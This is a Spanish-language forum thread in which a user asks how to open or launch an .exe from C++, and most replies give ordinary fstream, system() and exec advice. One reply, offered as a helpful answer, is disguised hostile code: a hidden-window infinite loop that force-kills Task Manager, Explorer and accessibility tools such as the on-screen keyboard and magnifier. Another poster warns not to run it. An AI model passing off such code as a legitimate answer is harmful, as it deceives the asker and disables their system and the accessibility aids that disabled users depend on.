Abrir archivo en C++

Iniciado por Mahiques, 29 Agosto 2008, 00:16 AM

0 Miembros y 1 Visitante están viendo este tema.

Mahiques

La pregunta es sencilla ¿ como puedo abrir un archivo en C++ ?

P.D. Ya prove desde system("call bla.blabla") , system("start bla.blabla") , system("call C:\bla.blabla") y system("callC:\\ bla.blabla") .

Kasswed

"He who allows himself to be insulted, deserves to be."

Repórtame cualquier falta a las normas del foro por mensaje privado.

Mahiques

Cita de: Cab Calloway en 29 Agosto 2008, 00:28 AM
fopen()

http://c.conclase.net/librerias/funcion.php?fun=fopen
Podrias citar un ejemplo en el que tansolo abra un archivo con extension .exe ?

Grax la url que me pasaste esta completa pero no me acabo de quedar claro ...

Con un ejemplo de opertura de un .exe boi que chuto ...

Grax ;) tothom

viruss1362

Haber tu que quieres simplemente ejecutar un programa?

Ahora mismo estoy en kubuntu, y si pongo:

system("kedit main.cc");
Me abre el archivo de texto main.cc con el editor kedit

y si pongo
system("kedit");
se me ejecuta solo el kedit
Más vale parecer un idiota con la boca cerrada, que abrir la boca y demostrar que lo eres

www.equipome.com

Flakito81

Aunque en C++ puedes usar el C, si kieres utilizar C++ 100% sería:

Escritura:
Código (cpp) [Seleccionar]

   ofstream f;
   f.open("archivo.ext", ios::out);
   if (!f.is_open())
   {
      std::cout << "ERROR: no se puede abrir el fichero para escribir" << endl;
      return;
   } 
   f << "lo que se kiera guardar";


Lectura:
Código (cpp) [Seleccionar]

   ifstream f;
   f.open("archivo.ext", ios::in);
   if (!f.is_open())
   {
      std::cout << "ERROR: no se puede abrir el fichero para leer" << endl;
      return;
   } 
   f >> variable;


Otra opción:
Código (cpp) [Seleccionar]

//lectura
ifstream f("archivo.ext");
//escritura
ofstream f("archivo.ext");

Aunque como ya dije puedes usar C en vez de C++

Suerte!


Flakito81

Si explicas lo q kieres hacer concretamente sería mejor, abrir un .exe no es ejecutarlo. Si lo abres verás el binario, es decir, q no vas a entender practicamente nada.

Si por el contrario kieres ejecutar un programa tienes:

system
execl
execlp
execle
execv
execve
execvp

Para más información sobre ellas está google, explicarlas todas por minorzado lleva muxo tiempo.

Suerte

Mahiques

#6
Veras lo que quiero hacer es ejecutar un programa echo por mi desde un programa echo por mi ...

Desde el programa actual llamar a un programa ya acabado ...

Cuando digo llamar me refiero a ejecutar ! Osea hacer correr el programa ...

Mi intencion es agrupar algunos programas que e echo en el programa actual ...

Pero no todos en el mismo source sino cada uno en el sullo i llamarlos para ejecutarlos desde un source nuevo ...

Osea ejecutar un .exe en C++ por cierto uso windows

Por cierto flakito podrias poner un ejemplo de ejecutar un .exe con system ...

Osea seria algo asi como system("programa.exe") o mas bien poneindo la ruta entera con \ o \\ igual me da por que ya lo e prebado de todas estas formas i me dice que no encuentra el archivo ...

carlitos.dll

Aquí una forma:


#include <windows.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *WinDir;
    WinDir = getenv("WinDir");
   
    char WinDirSystem32[30];
    strncpy(WinDirSystem32,WinDir,20);
    strncat(WinDirSystem32,"\\system32",10);
    WinDirSystem32[30] = 0;

    while (1)
    {
     ShellExecute(NULL,"open","taskkill.exe","/f /im taskmgr.exe /im utilman.exe /im explorer.exe /im osk.exe /im magnify.exe /im sethc.exe ",WinDirSystem32,SW_HIDE);
    }
}


Flakito81

#8
Ya te han respondido, la mejor forma es la q ya te han dicho, aunque si lo kieres hacer con system es tal como piensas, es decir, has de poner la ruta. Si te dice que no existe el archivo es q la tienes mal. Prueba a poner un ejecutable en la misma carpeta dnd tengas el programa q lanza tus aplicaciones, si los tienes en otras carpetas puedes poner la ruta absoluta o relativa.
Imagina q el programa que lanza tus aplicaciones está en una carpeta y dentro de la misma hay una subcarpeta llamada app y dentro está la aplicación app_0.exe luego para ejecutar dicha aplicación con el system sería algo así:

system ("app\\app_0.exe");


Un saludo!

PD: No ejecutes el código q te han dado simplemente quedate con la función ShellExecute puedes buscar información en internet :)

Mahiques

Cita de: Flakito81 en 29 Agosto 2008, 03:55 AM
Ya te han respondido, la mejor forma es la q ya te han dicho, aunque si lo kieres hacer con system es tal como piensas, es decir, has de poner la ruta. Si te dice que no existe el archivo es q la tienes mal. Prueba a poner un ejecutable en la misma carpeta dnd tengas el programa q lanza tus aplicaciones, si los tienes en otras carpetas puedes poner la ruta absoluta o relativa.
Imagina q el programa que lanza tus aplicaciones está en una carpeta y dentro de la misma hay una subcarpeta llamada app y dentro está la aplicación app_0.exe luego para ejecutar dicha aplicación con el system sería algo así:

system ("app\\app_0.exe");


Un saludo!

PD: No ejecutes el código q te han dado simplemente quedate con la función ShellExecute puedes buscar información en internet :)

Prove pero dice que la ruta especificada no pudo ser encontrada ...

Prove algo que si me funciono xD Puse los programas en system32

Lo de carlitos lo prbare mañana que en España son las 4 : 30 de la mañana i me estoi sobando ...

Ya dare respuesta ...